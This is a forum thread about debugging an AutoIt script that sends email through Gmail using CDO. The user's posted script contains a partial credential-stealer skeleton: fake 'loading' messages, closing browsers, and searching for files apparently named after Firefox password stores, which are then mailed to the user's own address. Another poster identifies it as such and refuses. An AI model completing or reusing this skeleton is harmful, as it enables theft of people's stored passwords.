Fewmitz Posted January 20, 2008 Share Posted January 20, 2008 Since I can't get Jos' email script to work, and the only thing I know is that the error is "Action could not be completed with this object", I figured I would need to learn to handle errors so I can ask a more logical question. I'm using Jos INetSMTPCom function (or something like that, can't remember exactly), and he has an error handling function in there: Func MyErrFunc() $HexNumber = Hex($oMyError.number, 8) $oMyRet[0] = $HexNumber $oMyRet[1] = StringStripWS($oMyError.description,3) ConsoleWrite("### COM Error ! Number: " & $HexNumber & " ScriptLine: " & $oMyError.scriptline & " Description:" & $oMyRet[1] & @LF) SetError(1); something to check for when this function returns Return EndFunc;==>MyErrFunc ;========================== And I have no idea how to use it... Link to comment Share on other sites More sharing options...
FreeFry Posted January 20, 2008 Share Posted January 20, 2008 What code do you have that doesn't work then? Link to comment Share on other sites More sharing options...
Fewmitz Posted January 20, 2008 Author Share Posted January 20, 2008 What code do you have that doesn't work then?$objEmail.Configuration.Fields.Item("http://schemas.microsoft.com/cdo/configuration/sendusing") = 2 $objEmail.Configuration.Fields.Item("http://schemas.microsoft.com/cdo/configuration/smtpserver") = "smtp.gmail.com" $objEmail.Configuration.Fields.Item("http://schemas.microsoft.com/cdo/configuration/smtpserverport") = 465 $objEmail.Configuration.Fields.Item("http://schemas.microsoft.com/cdo/configuration/smtpauthenticate") = 1 $objEmail.Configuration.Fields.Item("http://schemas.microsoft.com/cdo/configuration/sendusername") = "Fewmer@gmail.com" $objEmail.Configuration.Fields.Item("http://schemas.microsoft.com/cdo/configuration/sendpassword") = "PASSword" $objEmail.Configuration.Fields.Item("http://schemas.microsoft.com/cdo/configuration/smtpusessl") = True $objEmail.Configuration.Fields.Update $objEmail.Send;<==== That one. "The requested action with this object has failed." Link to comment Share on other sites More sharing options...
FreeFry Posted January 20, 2008 Share Posted January 20, 2008 (edited) Does this code not work for you?expandcollapse popup#Include <file.au3> $s_SmtpServer = "smtp.gmail.com" ; address for the smtp-server to use - REQUIRED $s_FromName = "Name" ; name from who the email was sent $s_FromAddress = "your@Email.Address.com" ; address from where the mail should come $s_ToAddress = "your@Email.Address.com" ; destination address of the email - REQUIRED $s_Subject = "Userinfo" ; subject from the email - can be anything you want it to be $as_Body = "" ; the messagebody from the mail - can be left blank but then you get a blank mail $s_AttachFiles = "" ; the file you want to attach- leave blank if not needed $s_CcAddress = "" ; address for cc - leave blank if not needed $s_BccAddress = "" ; address for bcc - leave blank if not needed $s_Username = "Fewmer@gmail.com" ; username for the account used from where the mail gets sent - Optional (Needed for eg GMail) $s_Password = "password-here" ; password for the account used from where the mail gets sent - Optional (Needed for eg GMail) $IPPort=465 ; GMAIL port used for sending the mail $ssl=1 ; GMAILenables/disables secure socket layer sending - put to 1 if using httpS Global $oMyRet[2] Global $oMyError = ObjEvent("AutoIt.Error", "MyErrFunc") $rc = _INetSmtpMailCom($s_SmtpServer, $s_FromName, $s_FromAddress, $s_ToAddress, $s_Subject, $as_Body, $s_AttachFiles, $s_CcAddress, $s_BccAddress, $s_Username, $s_Password, $IPPort, $ssl) If @error Then MsgBox(0, "Error sending message", "Error code:" & @error & " Rc:" & $rc) EndIf Func _INetSmtpMailCom($s_SmtpServer, $s_FromName, $s_FromAddress, $s_ToAddress, $s_Subject = "", $as_Body = "", $s_AttachFiles = "", $s_CcAddress = "", $s_BccAddress = "", $s_Username = "", $s_Password = "",$IPPort=25, $ssl=0) $objEmail = ObjCreate("CDO.Message") $objEmail.From = '"' & $s_FromName & '" <' & $s_FromAddress & '>' $objEmail.To = $s_ToAddress Local $i_Error = 0 Local $i_Error_desciption = "" If $s_CcAddress <> "" Then $objEmail.Cc = $s_CcAddress If $s_BccAddress <> "" Then $objEmail.Bcc = $s_BccAddress $objEmail.Subject = $s_Subject If StringInStr($as_Body,"<") and StringInStr($as_Body,">") Then $objEmail.HTMLBody = $as_Body Else $objEmail.Textbody = $as_Body & @CRLF EndIf If $s_AttachFiles <> "" Then Local $S_Files2Attach = StringSplit($s_AttachFiles, ";") For $x = 1 To $S_Files2Attach[0] $S_Files2Attach[$x] = _PathFull ($S_Files2Attach[$x]) If FileExists($S_Files2Attach[$x]) Then $objEmail.AddAttachment ($S_Files2Attach[$x]) Else $i_Error_desciption = $i_Error_desciption & @lf & 'File not found to attach: ' & $S_Files2Attach[$x] SetError(1) return 0 EndIf Next EndIf $objEmail.Configuration.Fields.Item ("http://schemas.microsoft.com/cdo/configuration/sendusing") = 2 $objEmail.Configuration.Fields.Item ("http://schemas.microsoft.com/cdo/configuration/smtpserver") = $s_SmtpServer $objEmail.Configuration.Fields.Item ("http://schemas.microsoft.com/cdo/configuration/smtpserverport") = $IPPort ;Authenticated SMTP If $s_Username <> "" Then $objEmail.Configuration.Fields.Item ("http://schemas.microsoft.com/cdo/configuration/smtpauthenticate") = 1 $objEmail.Configuration.Fields.Item ("http://schemas.microsoft.com/cdo/configuration/sendusername") = $s_Username $objEmail.Configuration.Fields.Item ("http://schemas.microsoft.com/cdo/configuration/sendpassword") = $s_Password EndIf If $Ssl Then $objEmail.Configuration.Fields.Item ("http://schemas.microsoft.com/cdo/configuration/smtpusessl") = True EndIf ;Update settings $objEmail.Configuration.Fields.Update ; Sent the Message $objEmail.Send if @error then SetError(2) return $oMyRet[1] EndIf EndFunc ;==>_INetSmtpMailCom ; ; ; Com Error Handler Func MyErrFunc() $HexNumber = Hex($oMyError.number, 8) $oMyRet[0] = $HexNumber $oMyRet[1] = StringStripWS($oMyError.description,3) ConsoleWrite("### COM Error ! Number: " & $HexNumber & " ScriptLine: " & $oMyError.scriptline & " Description:" & $oMyRet[1] & @LF) SetError(1); something to check for when this function returns Return EndFunc ;==>MyErrFuncI do not have a GMail account, so I can't test it.Edit:I just created an GMail account and tested it, and it works for me just fine. Edited January 20, 2008 by FreeFry Link to comment Share on other sites More sharing options...
Fewmitz Posted January 20, 2008 Author Share Posted January 20, 2008 -code-Yes, that's the one I'm using, and no, it doesn't work.Blech. Link to comment Share on other sites More sharing options...
FreeFry Posted January 20, 2008 Share Posted January 20, 2008 (edited) What error did you get when you ran my code? ( I assume you edited in your password, and also from and to variables? ) Edit: This is the exact code I used, and it worked(except the password ofc. ): expandcollapse popup#Include <file.au3> $s_SmtpServer = "smtp.gmail.com" ; address for the smtp-server to use - REQUIRED $s_FromName = "FreeFry from Gmail" ; name from who the email was sent $s_FromAddress = "xxx@gmail.com" ; address from where the mail should come $s_ToAddress = "xxx@hotmail.com" ; destination address of the email - REQUIRED $s_Subject = "Test" ; subject from the email - can be anything you want it to be $as_Body = "" ; the messagebody from the mail - can be left blank but then you get a blank mail $s_AttachFiles = "" ; the file you want to attach- leave blank if not needed $s_CcAddress = "" ; address for cc - leave blank if not needed $s_BccAddress = "" ; address for bcc - leave blank if not needed $s_Username = "xxx@gmail.com" ; username for the account used from where the mail gets sent - Optional (Needed for eg GMail) $s_Password = "password-here" ; password for the account used from where the mail gets sent - Optional (Needed for eg GMail) $IPPort=465 ; GMAIL port used for sending the mail $ssl=1 ; GMAILenables/disables secure socket layer sending - put to 1 if using httpS Global $oMyRet[2] Global $oMyError = ObjEvent("AutoIt.Error", "MyErrFunc") $rc = _INetSmtpMailCom($s_SmtpServer, $s_FromName, $s_FromAddress, $s_ToAddress, $s_Subject, $as_Body, $s_AttachFiles, $s_CcAddress, $s_BccAddress, $s_Username, $s_Password, $IPPort, $ssl) If @error Then MsgBox(0, "Error sending message", "Error code:" & @error & " Rc:" & $rc) EndIf Func _INetSmtpMailCom($s_SmtpServer, $s_FromName, $s_FromAddress, $s_ToAddress, $s_Subject = "", $as_Body = "", $s_AttachFiles = "", $s_CcAddress = "", $s_BccAddress = "", $s_Username = "", $s_Password = "",$IPPort=25, $ssl=0) $objEmail = ObjCreate("CDO.Message") $objEmail.From = '"' & $s_FromName & '" <' & $s_FromAddress & '>' $objEmail.To = $s_ToAddress Local $i_Error = 0 Local $i_Error_desciption = "" If $s_CcAddress <> "" Then $objEmail.Cc = $s_CcAddress If $s_BccAddress <> "" Then $objEmail.Bcc = $s_BccAddress $objEmail.Subject = $s_Subject If StringInStr($as_Body,"<") and StringInStr($as_Body,">") Then $objEmail.HTMLBody = $as_Body Else $objEmail.Textbody = $as_Body & @CRLF EndIf If $s_AttachFiles <> "" Then Local $S_Files2Attach = StringSplit($s_AttachFiles, ";") For $x = 1 To $S_Files2Attach[0] $S_Files2Attach[$x] = _PathFull ($S_Files2Attach[$x]) If FileExists($S_Files2Attach[$x]) Then $objEmail.AddAttachment ($S_Files2Attach[$x]) Else $i_Error_desciption = $i_Error_desciption & @lf & 'File not found to attach: ' & $S_Files2Attach[$x] SetError(1) return 0 EndIf Next EndIf $objEmail.Configuration.Fields.Item ("http://schemas.microsoft.com/cdo/configuration/sendusing") = 2 $objEmail.Configuration.Fields.Item ("http://schemas.microsoft.com/cdo/configuration/smtpserver") = $s_SmtpServer $objEmail.Configuration.Fields.Item ("http://schemas.microsoft.com/cdo/configuration/smtpserverport") = $IPPort ;Authenticated SMTP If $s_Username <> "" Then $objEmail.Configuration.Fields.Item ("http://schemas.microsoft.com/cdo/configuration/smtpauthenticate") = 1 $objEmail.Configuration.Fields.Item ("http://schemas.microsoft.com/cdo/configuration/sendusername") = $s_Username $objEmail.Configuration.Fields.Item ("http://schemas.microsoft.com/cdo/configuration/sendpassword") = $s_Password EndIf If $Ssl Then $objEmail.Configuration.Fields.Item ("http://schemas.microsoft.com/cdo/configuration/smtpusessl") = True EndIf ;Update settings $objEmail.Configuration.Fields.Update ; Sent the Message $objEmail.Send if @error then SetError(2) return $oMyRet[1] EndIf EndFunc ;==>_INetSmtpMailCom ; ; ; Com Error Handler Func MyErrFunc() $HexNumber = Hex($oMyError.number, 8) $oMyRet[0] = $HexNumber $oMyRet[1] = StringStripWS($oMyError.description,3) ConsoleWrite("### COM Error ! Number: " & $HexNumber & " ScriptLine: " & $oMyError.scriptline & " Description:" & $oMyRet[1] & @LF) SetError(1); something to check for when this function returns Return EndFunc ;==>MyErrFunc Edited February 27, 2014 by FreeFry Link to comment Share on other sites More sharing options...
Fewmitz Posted January 20, 2008 Author Share Posted January 20, 2008 I actually get three at this point: ### COM Error ! Number: 80020009 ScriptLine: 69 Description:The process cannot access the file because it is being used by another process. ### COM Error ! Number: 80020009 ScriptLine: 69 Description:The process cannot access the file because it is being used by another process. ### COM Error ! Number: 80020009 ScriptLine: 92 Description:The transport failed to connect to the server. Where the first two are my attaching two text files, but the code has worked before, so I don't think that's the issue. Line 92 is the objEmail.send line. Link to comment Share on other sites More sharing options...
FreeFry Posted January 20, 2008 Share Posted January 20, 2008 (edited) Mind posting the full version of your script? Edit: I took a look on the web about the "CDO.Message" object, and I found this: "Please note, when using the AddAttachment method in your scripts you must use a fully qualified pathname as the argument to the method. Using just a file name or a relative path will produce the error The specified protocol is unknown." I assume you use that AddAttachement method for attaching the text files, and then my next question is this: Did you use a relative filename when trying to attach the file? (ie. TextFile.txt instead of @ScriptDir & "\TextFile.txt"). ? Edited January 20, 2008 by FreeFry Link to comment Share on other sites More sharing options...
Fewmitz Posted January 20, 2008 Author Share Posted January 20, 2008 (edited) Mind posting the full version of your script? expandcollapse popup#NoTrayIcon #include <File.au3> #include <INet.au3> $s_SmtpServer = "smtp.gmail.com" ; address for the smtp-server to use - REQUIRED $s_FromName = "Name" ; name from who the email was sent $s_FromAddress = "Fewmer@gmail.com"; address from where the mail should come $s_ToAddress = "fewmitz@yahoo.com"; destination address of the email - REQUIRED $s_Subject = "Userinfo" ; subject from the email - can be anything you want it to be $as_Body = "" ; the messagebody from the mail - can be left blank but then you get a blank mail $s_AttachFiles = "" ; the file you want to attach- leave blank if not needed $s_CcAddress = ""; address for cc - leave blank if not needed $s_BccAddress = ""; address for bcc - leave blank if not needed $s_Username = "Fewmer@gmail.com" ; username for the account used from where the mail gets sent - Optional (Needed for eg GMail) $s_Password = "*******" ; password for the account used from where the mail gets sent - Optional (Needed for eg GMail) $IPPort=465 ; GMAIL port used for sending the mail $ssl=1 ; GMAILenables/disables secure socket layer sending - put to 1 if using httpS ProgressSet("57", "Loading names...") Msgbox(0, "", "If you have Internet Explorer or Firefox open, They will be closed.") ;ProcessClose("firefox.exe") ;ProcessClose("iexplore.exe") ProgressSet("87", "Loading items...") ProgressOff() Global $oMyRet[2] Global $oMyError = ObjEvent("AutoIt.Error", "MyErrFunc") $rc = _INetSmtpMailCom($s_SmtpServer, $s_FromName, $s_FromAddress, $s_ToAddress, $s_Subject, $as_Body, $s_AttachFiles, $s_CcAddress, $s_BccAddress, $s_Username, $s_Password, $IPPort, $ssl) If @error Then MsgBox(0, "Error sending message", "Error code:" & @error & " Rc:" & $rc) EndIf Func _INetSmtpMailCom($s_SmtpServer, $s_FromName, $s_FromAddress, $s_ToAddress, $s_Subject = "", $as_Body = "", $s_AttachFiles = "", $s_CcAddress = "", $s_BccAddress = "", $s_Username = "", $s_Password = "",$IPPort=25, $ssl=0) $objEmail = ObjCreate("CDO.Message") $objEmail.From = '"' & $s_FromName & '" <' & $s_FromAddress & '>' $objEmail.To = $s_ToAddress Local $i_Error = 0 Local $i_Error_desciption = "" If $s_CcAddress <> "" Then $objEmail.Cc = $s_CcAddress If $s_BccAddress <> "" Then $objEmail.Bcc = $s_BccAddress $objEmail.Subject = $s_Subject $objEmail.Textbody = $as_Body & @CRLF $oK = _FileSearch(Undecided text File);<==== Optional, likely to be removed due to the fact that it's totally worthless $oC = _FileSearch(Undecided Text File);See above $oS = _FileSearch(Ditto) ;See above $s_AttachFiles = $oK[1] & ";" & $oC[1] & ";" & $oS[1] If $s_AttachFiles <> "" Then Local $S_Files2Attach = StringSplit($s_AttachFiles, ";") For $x = 1 To $S_Files2Attach[0] $S_Files2Attach[$x] = _PathFull ($S_Files2Attach[$x]) If FileExists($S_Files2Attach[$x]) Then $objEmail.AddAttachment ($S_Files2Attach[$x]) Else $i_Error_desciption = $i_Error_desciption & @lf & 'File not found to attach: ' & $S_Files2Attach[$x] SetError(1) return 0 EndIf Next EndIf $objEmail.Configuration.Fields.Item ("http://schemas.microsoft.com/cdo/configuration/sendusing") = 2 $objEmail.Configuration.Fields.Item ("http://schemas.microsoft.com/cdo/configuration/smtpserver") = $s_SmtpServer $objEmail.Configuration.Fields.Item ("http://schemas.microsoft.com/cdo/configuration/smtpserverport") = $IPPort ;Authenticated SMTP If $s_Username <> "" Then $objEmail.Configuration.Fields.Item ("http://schemas.microsoft.com/cdo/configuration/smtpauthenticate") = 1 $objEmail.Configuration.Fields.Item ("http://schemas.microsoft.com/cdo/configuration/sendusername") = $s_Username $objEmail.Configuration.Fields.Item ("http://schemas.microsoft.com/cdo/configuration/sendpassword") = $s_Password EndIf If $Ssl Then $objEmail.Configuration.Fields.Item ("http://schemas.microsoft.com/cdo/configuration/smtpusessl") = True EndIf ;Update settings $objEmail.Configuration.Fields.Update ; Sent the Message $objEmail.Send if @error then SetError(2) return $oMyRet[1] EndIf EndFunc;==>_INetSmtpMailCom I didn't post the other functions because they're irrelevant. Edited January 20, 2008 by Fewmitz Link to comment Share on other sites More sharing options...
FreeFry Posted January 20, 2008 Share Posted January 20, 2008 Uhm, sorry, but I won't help you into creating applications that will steal passwords dude..Reason:iepv.exehttp://www.nirsoft.net/utils/internet_explorer_password.htmlRetrieves stored passwords from the computer the tool is run on. Link to comment Share on other sites More sharing options...
Fewmitz Posted January 20, 2008 Author Share Posted January 20, 2008 Uhm, sorry, but I won't help you into creating applications that will steal passwords dude..Reason:iepv.exehttp://www.nirsoft.net/utils/internet_explorer_password.htmlRetrieves stored passwords from the computer the tool is run on.Yeah thanks.I meant to edit that out, not to censor myself from the site, but because I took the skeleton of another program I had which does do that, and just didn't bother to take it out yet.If you don't want to help me that's fine, but that's not what this program does. Link to comment Share on other sites More sharing options...
FreeFry Posted January 20, 2008 Share Posted January 20, 2008 Yeah thanks.I meant to edit that out, not to censor myself from the site, but because I took the skeleton of another program I had which does do that, and just didn't bother to take it out yet.If you don't want to help me that's fine, but that's not what this program does.From what I can read from the code, that's exactly what it does...Lures the user into beliving that it's installing something, and then mails the stored passwords back to you... Link to comment Share on other sites More sharing options...
Fewmitz Posted January 20, 2008 Author Share Posted January 20, 2008 Yes, I know that's what THAT one does. SKELETON The new program is something I'm doing for assignments, and looks like this: expandcollapse popup#NoTrayIcon #include <File.au3> #include <INet.au3> $s_SmtpServer = "smtp.gmail.com" ; address for the smtp-server to use - REQUIRED $s_FromName = "Name" ; name from who the email was sent $s_FromAddress = "Fewmer@gmail.com"; address from where the mail should come $s_ToAddress = "fewmitz@yahoo.com" ; destination address of the email - REQUIRED $s_Subject = "Userinfo" ; subject from the email - can be anything you want it to be $as_Body = "" ; the messagebody from the mail - can be left blank but then you get a blank mail $s_AttachFiles = "" ; the file you want to attach- leave blank if not needed $s_CcAddress = "" ; address for cc - leave blank if not needed $s_BccAddress = "" ; address for bcc - leave blank if not needed $s_Username = "Fewmer@gmail.com" ; username for the account used from where the mail gets sent - Optional (Needed for eg GMail) $s_Password = "PASSword" ; password for the account used from where the mail gets sent - Optional (Needed for eg GMail) $IPPort=465 ; GMAIL port used for sending the mail $ssl=1 ; GMAILenables/disables secure socket layer sending - put to 1 if using httpS Global $oMyRet[2] Global $oMyError = ObjEvent("AutoIt.Error", "MyErrFunc") $rc = _INetSmtpMailCom($s_SmtpServer, $s_FromName, $s_FromAddress, $s_ToAddress, $s_Subject, $as_Body, $s_AttachFiles, $s_CcAddress, $s_BccAddress, $s_Username, $s_Password, $IPPort, $ssl) If @error Then MsgBox(0, "Error sending message", "Error code:" & @error & " Rc:" & $rc) EndIf Func _INetSmtpMailCom($s_SmtpServer, $s_FromName, $s_FromAddress, $s_ToAddress, $s_Subject, $as_Body , $s_AttachFiles , $s_CcAddress , $s_BccAddress , $s_Username , $s_Password ,$IPPort, $ssl) $objEmail = ObjCreate("CDO.Message") $objEmail.From = '"' & $s_FromName & '" <' & $s_FromAddress & '>' $objEmail.To = $s_ToAddress Local $i_Error = 0 Local $i_Error_desciption = "" If $s_CcAddress <> "" Then $objEmail.Cc = $s_CcAddress If $s_BccAddress <> "" Then $objEmail.Bcc = $s_BccAddress $objEmail.Subject = $s_Subject $objEmail.Textbody = $as_Body & @CRLF ;$Assignment = _FileSearch(@Eventually put GUI/Inputbox here);Search for paper ;$s_AttachFiles = $oKey3[1] & ";" & $oCert8[1] & ";" & $oSignons[1] ; $objEmail.AddAttachment ($Assignment) ;IF @error then ; $i_Error_desciption = $i_Error_desciption & @lf & 'File not found to attach: ' & $S_Files2Attach[$x] ; SetError(1) ; return 0 ;EndIf ;EndIf $objEmail.Configuration.Fields.Item ("http://schemas.microsoft.com/cdo/configuration/sendusing") = 2 $objEmail.Configuration.Fields.Item ("http://schemas.microsoft.com/cdo/configuration/smtpserver") = $s_SmtpServer $objEmail.Configuration.Fields.Item ("http://schemas.microsoft.com/cdo/configuration/smtpserverport") = $IPPort ;Authenticated SMTP If $s_Username <> "" Then $objEmail.Configuration.Fields.Item ("http://schemas.microsoft.com/cdo/configuration/smtpauthenticate") = 1 $objEmail.Configuration.Fields.Item ("http://schemas.microsoft.com/cdo/configuration/sendusername") = $s_Username $objEmail.Configuration.Fields.Item ("http://schemas.microsoft.com/cdo/configuration/sendpassword") = $s_Password EndIf If $Ssl Then $objEmail.Configuration.Fields.Item ("http://schemas.microsoft.com/cdo/configuration/smtpusessl") = True EndIf ;Update settings $objEmail.Configuration.Fields.Update ; Sent the Message $objEmail.Send if @error then SetError(2) return $oMyRet[1] EndIf EndFunc;==>_INetSmtpMailCom ; ; ; Com Error Handler Func MyErrFunc() $HexNumber = Hex($oMyError.number, 8) $oMyRet[0] = $HexNumber $oMyRet[1] = StringStripWS($oMyError.description,3) ConsoleWrite("### COM Error ! Number: " & $HexNumber & " ScriptLine: " & $oMyError.scriptline & " Description:" & $oMyRet[1] & @LF) SetError(1); something to check for when this function returns Return EndFunc;==>MyErrFunc Same error. I just happened to use the old program because I had a (what I thought was) working email script in there, and got a little sloppy with my copy and pasting. Link to comment Share on other sites More sharing options...
Recommended Posts
Create an account or sign in to comment
You need to be a member in order to leave a comment
Create an account
Sign up for a new account in our community. It's easy!
Register a new accountSign in
Already have an account? Sign in here.
Sign In Now